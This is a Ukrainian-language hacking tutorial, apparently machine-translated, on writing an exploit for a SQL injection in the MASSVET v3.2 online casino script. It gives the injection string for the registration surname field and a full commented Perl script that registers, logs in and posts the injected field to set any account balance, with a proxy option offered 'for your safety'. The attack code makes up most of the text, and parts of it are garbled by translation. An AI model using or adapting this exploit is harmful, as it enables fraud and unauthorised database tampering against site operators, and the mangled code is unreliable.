Отже, припустимо ви знайшли вразливість і дуже хочете написати під неї сплойт…
Для прикладу я візьму знайдену уразливість нашої командою в казино MASSVET v3.2

І так спочатку розберемося з уразливістю, як написано в поясненні до эксплойту, він працює тільки при відключених magick_quotes_gpc.

Ошика викликана тим, що вводяться у форму дані не фильтруюца на можливі знаки використовуються в SQL-запитах тобто символи — “‘” і “`”.Цим ми і скористаємося 😉

Оскільки у нас на руках були исходники, був обраний найбільш зручний запит для поповнення балансу, він знаходився у полі ПРІЗВИЩЕ при реєстрації.

Складаємо запит:
У нас є запит на UPDATE який нам потрібно не багато втрутитися =)
і так основи SQL-INJ я пояснювати не буду, тому що моя стаття з цієї теми на хакзоне є…

Автор Казино зробив за нас підлогу роботи =) нам залишається тільки вказати яке значення якого столцу поставити )))
Ось що ми вводимо в поле ПРІЗВИЩЕ =) — ‘,cash='”.$cash.”‘ where login='”.$login.”
Де змінна $cash — сума потрібна нам, а $login — наш логін.

Терь перейдемо до эксплойту, я його просто прокоментую )
#!/usr/bin/perl

## Massvet інтернет казино — віддалене поповнення балансу!
## Уразливі версії 3.2, можливо більш старі, з вимкненим magicquotes
## Перевірено на версії 3.2
##
## writed bu G1UK
## CFTeam

use LWP::UserAgent; #Підключаємо модуль (я його використовував для того щоб не возитися з Сокетами)
use Getopt::Std; #Модуль для отримання параметрів їх cmd або shell’a
use HTTP::Cookies; #Модуль для роботи з куками

getopts(«h:d:l:p:c:x:»); #Обазначаем порядок прийому змінних з командного рядка

$host = $opt_h; #
$dir = $opt_d || ‘/’; #
$login = $opt_l; #
$pass = $opt_p; #Обазначаем що означає кожна введена з cmd #мінлива значить
$cash = $opt_c; #
$proxy = $opt_x || “; #
logo(); #

if(!$host||!$login||!$pass||!$cash) { help(); } # Якщо не введено якась із змінних, викликаємо функцію help

print “=) server: $host rn”; #
print “=) casino dir: $dir rn”; #
print “=) login: $login rn”; #
print “=) password: $pass rn”; #Вивід на екран
print “=) cash: $cash rn”; #
print «rn»; #

$cook = LWP::UserAgent->new() or die; #Створення нового підключення #використанням модуля LWP
$cookie = HTTP::Cookies->new(); #Створення нових кук
$cook->cookie_jar( $cookie ); #Заганяємо куки в змінну $cookie
$url=$host.”.$dir; #Формуємо url запиту.
$cook->proxy(‘http’=>’http://’.$proxy) if $proxy; # Якщо встановлено проксі, то використовуємо його

printf «Registering =)rn»;
$res = $cook->post(‘http://’.$url.’reg.php’,
[
«r_login» => “$login”,
«r_pass» => “$pass”,
«r_email» => «1»,
«send» => «1»,
«submit»=> «Зберегти»
]); #Важливий момент в експлойт!!! Відправка пост запиту на реєстрацію в інтернет казино.
print «Registering OKrn»;

print «Enter =)rn»;
$res = $cook->post(‘http://’.$url.’lobby/login_proc.php’,
[
«log» => “$login”,
«psw» => “$pass”,
«send» => «1»,
«submit»=> «Увійти»,
«Cookie» => «PHPSESSID=».$sid
]); #2 важливий момент — Вхід в казино
print «Enter OKrn»;

print «you Edit cash =))rn»;
$res = $cook->post(‘http://’.$url.’lobby/config.php’,
[
«cpass» => “$pass”,
«а» => “”,
«cfam» => “‘,cash='”.$cash.”‘ where login='”.$login.”‘/*”,
«send» => «1»,
«Cookie» => «PHPSESSID=».$sid
]); #3 важливий момент — відправка запиту на зміну прізвища з #вбудованим SQL запитом
print «Check out you cash =)rn»;

sub logo() #Функція лого, щоб знали хто писав =)
{
print “>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn”;
print «Massvet internet casino v3.2 sql injection cash exploit by CFTeamrn»;
print “>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn”;
}

sub help() # Функція help, щоб знали, як користуватися.
{
print «CFteam.pl -h -d [dir] -l -p -c -x [proxy]rnrn»;
print “— Host where cazino installed for example — www.massvet.rurn”;
print “[dir] — Directory where cazino is installed /cazino/ for examplern”;
print “— User name for registrate rn”;
print “— Password for registrate rn”;
print ” — How much you need? (00.00)rn”;
print “[proxy] — For you safety rn”;
exit();
}

Як ви бачите функції були використані лише для токо, щоб початковий текст був простіше читаємо, тобто їх використання не обов’язково.

Як бачите, нічого складного в цьому немає, давайте распотрошим один з POST запитів, для того щоб все стало зрозумілим.
$res = $cook->post(‘http://’.$url.’lobby/config.php’,
[
«cpass» => “$pass”,
«а» => “”,
«cfam» => “‘,cash='”.$cash.”‘ where login='”.$login.”‘/*”,
«send» => «1»,
«Cookie» => «PHPSESSID=».$sid
]);

Що відбувається тут

Ми говоримо, що це ПОСТ запит $cook->POST

Кажемо, що нам треба відправити форми
cpass
cname
cfam
send
cookie, останнім це значення з КУК, де встановлена наша сесія.

Ну ось і розібрали =)